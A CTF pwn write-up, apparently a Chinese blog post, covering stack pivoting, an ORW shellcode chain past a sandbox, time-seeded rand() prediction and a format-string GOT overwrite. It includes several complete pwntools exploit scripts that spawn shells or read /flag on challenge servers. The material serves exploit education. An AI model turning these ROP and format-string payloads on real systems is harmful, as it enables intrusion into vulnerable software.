CTF[PWN]--栈迁移、格式化字符串漏洞、随机数撞库

栈迁移

开启NX,64位,动态编译,IDA分析:

两次读入,第一次读入结束给了我们read函数的地址,第二次读入可以栈溢出,但是只能覆盖一个返回地址,自然而然的想到了栈迁移,因为第一次给了我们地址,就可以通过偏移去求出第二次read读入的起始地址

由于本题给了提示,用的是ubuntu 16.04,因此libc库应为libc2.23(后来才知道,由于之前做题都是打本地,导致当时做这题的时候本地脚本写的很快,但在连接远程libc时却花了大功夫)

1.libc2.23 16.04
2.libc2.27 18.04
3.libc2.31 20.04
4.libc2.35 22.04

由于这题的libc库环境与我本地的不一样,因此做题时要先patchelf对齐,这边博主本地就有,就直接patchelf了:

patchelf --replace-needed libc.so.6 /glibc-all-in-one/libs/2.23-0ubuntu11.3_amd64/libc-2.23.so ./pwn

patchelf --set-interpreter /glibc-all-in-one/libs/2.23-0ubuntu11.3_amd64/ld-2.23.so ./pwn

下面就开始做题了

先在第一次读入时随便发送一个数过去

pay=str(1)
bug()
p.send(pay)

本地调试查看是否泄露出地址

可以看到,确实给了我们一个地址,接收一下:

p.recvuntil("That is your gift: ")
stack=int(p.recv(14),16)
print(hex(stack))

接收到了,再一次进行调试,记下第二次读入的起始地址,并求出偏移

对脚本稍加修改,在接收地址的时候加上偏移,泄露第二次读入的起始地址

调试看到确实泄露出来read函数读入的起始地址了,下面就是第二次读入,先栈迁移将libc基址泄露出来,在泄露的最后再次放回main函数,准备下一轮读入

rdi=0x0000000000400833
pay=(p64(rdi)+p64(elf.got['puts'])+p64(elf.plt['puts'])+p64(0x400717)).ljust(0x100,b'\x00')+p64(stack-8)+p64(0x00000000004007c7)
#bug()
p.send(pay)
#leek libc_base================================================
libc_base=u64(p.recvuntil("\x7f")[-6:].ljust(8,b'\x00'))-libc.sym['puts']
print(hex(libc_base))
#============================================

可以看到,基址泄露出来了,也成功返回到主函数了

本来想着直接调用system函数执行“/bin/sh”获取权限,但是发现这题存在沙盒保护,因此改为使用ORW直接获取flag

在第一次读入的时候还是照旧泄露出第二次读入的地址,随后栈迁移将第二读入地址迁到bss段上,方便后续在bss段上写入orw

mprotect=libc_base+libc.sym['mprotect']
rsi=libc_base+0x00000000000202f8
rdx=libc_base+0x00000000001151a4
p.recvuntil("What is your name?\n")
pay=str(1)
#bug()
p.send(pay)

p.recvuntil("That is your gift: ")
stack1=int(p.recv(14),16)+16
print(hex(stack1))
bss=0x601060+0x200
pay=b'a'*0x100+p64(bss+0x100)+p64(0x000000000040079A)

p.send(pay)

这边我们提前将后面orw需要的函数地址与gadget地址,迁读入地址需要的bss段地址找好,就不多教学了,需要的可以去看我的第一篇博客--难等栈迁移:

https://blog.csdn.net/2301_79880752/article/details/135721773?spm=1001.2014.3001.5502

可以看到,成功将read读入地址迁到了bss段上,下面就是基础的沙盒orw的做法了,这边也不多教学了,同样是在我的另一篇博客有详细解释--沙盒ORW

https://blog.csdn.net/2301_79880752/article/details/136016919?spm=1001.2014.3001.5502

exp:

from pwn import *
context(os='linux',arch='amd64',log_level='debug')
#p=remote("42.202.37.75",22544)
p=process("./pwn")
#libc=ELF("./libc.so.6")
libc=ELF("/glibc-all-in-one/libs/2.23-0ubuntu11.3_amd64/libc-2.23.so")
elf=ELF("./pwn")
def bug():
	gdb.attach(p)
	pause()
pay=str(1)
#bug()
p.send(pay)
p.recvuntil("That is your gift: ")
stack=int(p.recv(14),16)+16
print(hex(stack))

rdi=0x0000000000400833
pay=(p64(rdi)+p64(elf.got['puts'])+p64(elf.plt['puts'])+p64(0x400717)).ljust(0x100,b'\x00')+p64(stack-8)+p64(0x00000000004007c7)
#bug()
p.send(pay)
#leek libc_base================================================
libc_base=u64(p.recvuntil("\x7f")[-6:].ljust(8,b'\x00'))-libc.sym['puts']
print(hex(libc_base))
#============================================

mprotect=libc_base+libc.sym['mprotect']
rsi=libc_base+0x00000000000202f8
rdx=libc_base+0x00000000001151a4
p.recvuntil("What is your name?\n")
pay=str(1)
#bug()
p.send(pay)

p.recvuntil("That is your gift: ")
stack1=int(p.recv(14),16)+16
print(hex(stack1))
bss=0x601060+0x200
pay=b'a'*0x100+p64(bss+0x100)+p64(0x000000000040079A)
#bug()
p.send(pay)
payload = (p64(rdi)+p64(0x601000)+p64(rsi)+p64(0x1000)+p64(rdx)+p64(7)*2+p64(mprotect)+p64(0x6012a8)+asm(shellcraft.open("/flag"))+asm(shellcraft.read(3,bss+0x700,0x100))+asm(shellcraft.write(1,bss+0x700,0x100))).ljust(0x100,b'\x00')+p64(bss-8)+p64(0x00000000004007c7)

p.send(payload)
p.interactive()

其实这题还有一种方法,就是直接在栈上执行orw,这边不多解释,也将脚本给大家

exp:

from pwn import *

file_name = './ezpwn'

debug = 1
if debug:
	io = remote('42.202.37.75',22544)
else:
	io = process(file_name)

elf = ELF(file_name)

context(arch = elf.arch,log_level = 'debug',os = 'linux')

def dbg():
	gdb.attach(io)
	pause()

libc = ELF('/home/dvgd/Desktop/glibc-all-in-one/libs/2.23-0ubuntu11.3_amd64/libc.so.6')
io.send('AAAA')
io.recvuntil('0x')
stack = int(io.recv(12),16) + 0x10
success('stack =>> ' + hex(stack))

leave_ret = 0x4007c7
puts_plt = elf.plt['puts']
puts_got = elf.got['puts']
main = 0x400717
bss = elf.bss()
rdi = 0x400833
ret = 0x400549

io.send((b'a' * 0x8 + p64(rdi) + p64(puts_got) + p64(puts_plt) + p64(main)).ljust(0x100,b'\x00') + p64(stack) + p64(leave_ret))

puts_addr = u64(io.recvuntil(b'\x7f')[-6:].ljust(8,b'\x00'))
success('puts_addr =>> ' + hex(puts_addr))

libcbase = puts_addr - libc.sym['puts']
success('libcbase =>> ' + hex(libcbase))
#dbg()

sys = libcbase + libc.sym['system']
bin_sh = libcbase + libc.search(b'/bin/sh').__next__()
open_addr = libcbase + libc.sym['open']
read_addr = libcbase + libc.sym['read']
write_addr = libcbase + libc.sym['write']

rsi = libcbase + 0x202f8
rax = libcbase + 0x3a738
rdx = libcbase + 0x1b92

io.send('AAAA')
io.recvuntil('0x')
stack = int(io.recv(12),16) + 0x10
success('stack =>> ' + hex(stack))

payload = b"/flag\x00\x00\x00"  + p64(ret)
payload += p64(rdi)
payload += p64(stack)
payload += p64(rsi)
payload += p64(0)
payload += p64(open_addr)
payload += p64(rdi)
payload += p64(3)
payload += p64(rsi)
payload += p64(bss+0x100)
payload += p64(rdx)
payload += p64(0x100)
payload += p64(read_addr)
payload += p64(rdi)
payload += p64(1)
payload += p64(rsi)
payload += p64(bss+0x100)
payload += p64(rdx)
payload += p64(0x100)
payload += p64(write_addr)
print('----------------------------------')
print(hex(len(payload)))
payload = payload.ljust(0x100,b'\0') + p64(stack) + p64(leave_ret)

#io.send((b'a' * 0x8 + p64(ret) + p64(rdi) + p64(bin_sh) + p64(sys)).ljust(0x100,b'\0') + p64(stack) + p64(leave_ret))
io.send(payload)
io.interactive()

格式化字符串漏洞、撞库

这是一道awd攻防的题

开启NX,64位,动态编译,IDA分析:

给了我们两个选择,分别查看:

选项一是随机数绕过问题,选项二存在明显的格式化字符串漏洞

撞库

先讲解选项一:

在开始讲解之前先说一声,这题其实还有另一种做法,就是随机数返回到随机数会覆盖seed,也是一种解法,这边博主只讲解撞库的方法

这边先对随机数的主要函数解释一下:

rand()函数,生成伪随机数的范围在0到RAN_DMAX之间,这个最大值依赖于所指定的库,一般至少为32767,该随机数的生成依赖于种子,也就是说,如果种子一样,生成的随机数序列就一样,所以是伪随机数,当然很多题目会把时间作为种子,以此增加随机性

srand()函数,初始化随机数发生器,用来设置rand函数的种子seed。系统在调用rand函数时,会先调用srand函数,如果没有就会默认种子为1。

大致思路:

先选择选项一,进入GuessNumber中,在第一次读入时利用撞库绕过随机数,由于题目是以时间为种子,因此我们在撞库的时候也使用时间为种子,根据伪代码,在生成随机数时也%100,随后将生成的随机数发送过去,即可绕过,模板如下,大家套用时需要根据题目自行修改喔

elf1=ctypes.CDLL("/glibc-all-in-one/libs/2.23-0ubuntu11.3_amd64/libc.so.6")
elf1.srand(elf1.time(0))
payload = str(elf1.rand()%100)
bug()
p.sendline(payload)

之后在第二次读入时泄露出libc基址,顺手泄露system、/bin/sh地址,再返回到该函数准备第二轮读入

p.recvuntil(b'You are right!')
pay=b'\x00'*(0xa0+8)+p64(rdi)+p64(elf.got['puts'])+p64(elf.plt['puts'])+p64(0x4009d3)
#bug()
p.send(pay)
puts_addr=u64(p.recvuntil('\x7f')[-6:].ljust(8,b'\x00'))
print(hex(puts_addr))
libc_base = puts_addr - libc.symbols['puts']
print(hex(libc_base))
system = libc_base + libc.symbols['system']
binsh = libc_base +next(libc.search(b'/bin/sh'))

由于本题没有沙盒保护,所以在第二轮读入时再根据时间生成一次随机数,绕过之后直接system("/bin/sh")即可获取权限

p.recvuntil(b'Please choose a game to play:')
p.sendline(str(1))
p.recvuntil(b'Your anwser:')
elf1=ctypes.CDLL("/glibc-all-in-one/libs/2.23-0ubuntu11.3_amd64/libc.so.6")
elf1.srand(elf1.time(0))
payload = str(elf1.rand()%100)
#bug()
p.sendline(payload)
p.recvuntil(b'You are right!')
pay=b'a'*(0xa0+8)+p64(rdi)+p64(binsh)+p64(rdi+1)+p64(system)

p.send(pay)

exp:

from pwn import*
import ctypes
context(os='linux',arch='amd64',log_level='debug')
libc=ELF("/glibc-all-in-one/libs/2.23-0ubuntu11.3_amd64/libc.so.6")
elf=ELF('./awdpwn')
p=remote("43.140.197.108",9903)
#p = process("./awdpwn")
rdi=0x0000000000400ac3
def bug():
	gdb.attach(p)
	pause() 
p.recvuntil(b'Please choose a game to play:')
p.sendline(str(1))
p.recvuntil(b'Your anwser:')
elf1=ctypes.CDLL("/glibc-all-in-one/libs/2.23-0ubuntu11.3_amd64/libc.so.6")
elf1.srand(elf1.time(0))
payload = str(elf1.rand()%100)
#bug()
p.sendline(payload)
p.recvuntil(b'You are right!')
pay=b'\x00'*(0xa0+8)+p64(rdi)+p64(elf.got['puts'])+p64(elf.plt['puts'])+p64(0x4009d3)
#bug()
p.send(pay)
puts_addr=u64(p.recvuntil('\x7f')[-6:].ljust(8,b'\x00'))
print(hex(puts_addr))
libc_base = puts_addr - libc.symbols['puts']
print(hex(libc_base))
system = libc_base + libc.symbols['system']
binsh = libc_base +next(libc.search(b'/bin/sh'))

p.recvuntil(b'Please choose a game to play:')
p.sendline(str(1))
p.recvuntil(b'Your anwser:')
elf1=ctypes.CDLL("/glibc-all-in-one/libs/2.23-0ubuntu11.3_amd64/libc.so.6")
elf1.srand(elf1.time(0))
payload = str(elf1.rand()%100)
#bug()
p.sendline(payload)
p.recvuntil(b'You are right!')
pay=b'a'*(0xa0+8)+p64(rdi)+p64(binsh)+p64(rdi+1)+p64(system)

p.send(pay)
p.interactive()       

格式化字符串漏洞

接下来是选项二的讲解:

格式化的博客博主已经写过不少了,感兴趣的朋友可以先去看看,本期主要讲的是格式化字符串漏洞修改地址的一种新思路

格式化字符串漏洞修改返回地址:

https://blog.csdn.net/2301_79880752/article/details/135916347?spm=1001.2014.3001.5502

手搓格式化字符串漏洞:

https://blog.csdn.net/2301_79880752/article/details/136178764?spm=1001.2014.3001.5502

非栈上格式化字符串漏洞:

https://blog.csdn.net/2301_79880752/article/details/136305740?spm=1001.2014.3001.5502

下面进入正题:

我们可以看到read的读入字节有限,我们无法通过栈溢出来获取权限,而read函数的下面printf函数存在明显的格式化字符串漏洞,那就只能利用格式化字符串漏洞来解题了

由于该函数的最后调用了exit()函数终结程序,所以我们在利用时就需要将exit函数的地址修改为选项二的这个函数地址,这样我们就可以进行循环读入

当然了,首先还是修改地址

vuln=0x400982         
p.recvuntil("Please choose a game to play:")
p.sendline("2")
p.recvuntil("No matter what you say, I will repeat your words\n> ")
pay=fmtstr_payload(6,{elf.got['exit']:vuln})
p.send(pay)

这里在程序运行到exit函数的时候si查看,若继续ni,就无法继续调试了,算个小坑

可以看到确实返回了read函数,说明已经成功将exit修改为了选项二函数地址

随后就是常规的泄露libc基址

payload2=b'%7$saaaa'+p64(elf.got['read'])
p.sendline(payload2)
libc_base=u64(p.recvuntil("\x7f")[-6:].ljust(8,b'\x00'))-libc.sym['read']
print(hex(libc_base))        
system=libc_base+libc.sym['system']

求出基址与system函数的地址之后,只需要将printf函数的返回地址改为system函数地址,然后发送/bin/sh即可获取权限

exp:

from pwn import *
context(os='linux',arch='amd64',log_level='debug')
p=process("./awdpwn")
elf=ELF("./awdpwn")
libc=ELF("/glibc-all-in-one/libs/2.23-0ubuntu11.3_amd64/libc-2.23.so")
def bug():
         gdb.attach(p)
         pause()
vuln=0x400982         
p.recvuntil("Please choose a game to play:")
p.sendline("2")
p.recvuntil("No matter what you say, I will repeat your words\n> ")
pay=fmtstr_payload(6,{elf.got['exit']:vuln})
#bug()
p.send(pay)

payload2=b'%7$saaaa'+p64(elf.got['read'])
p.sendline(payload2)
libc_base=u64(p.recvuntil("\x7f")[-6:].ljust(8,b'\x00'))-libc.sym['read']
print(hex(libc_base))        
system=libc_base+libc.sym['system']

pay=fmtstr_payload(6,{elf.got['printf']:system})
p.send(pay)

p.send(str('/bin/sh\x00'))

p.interactive()         

评论 3
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值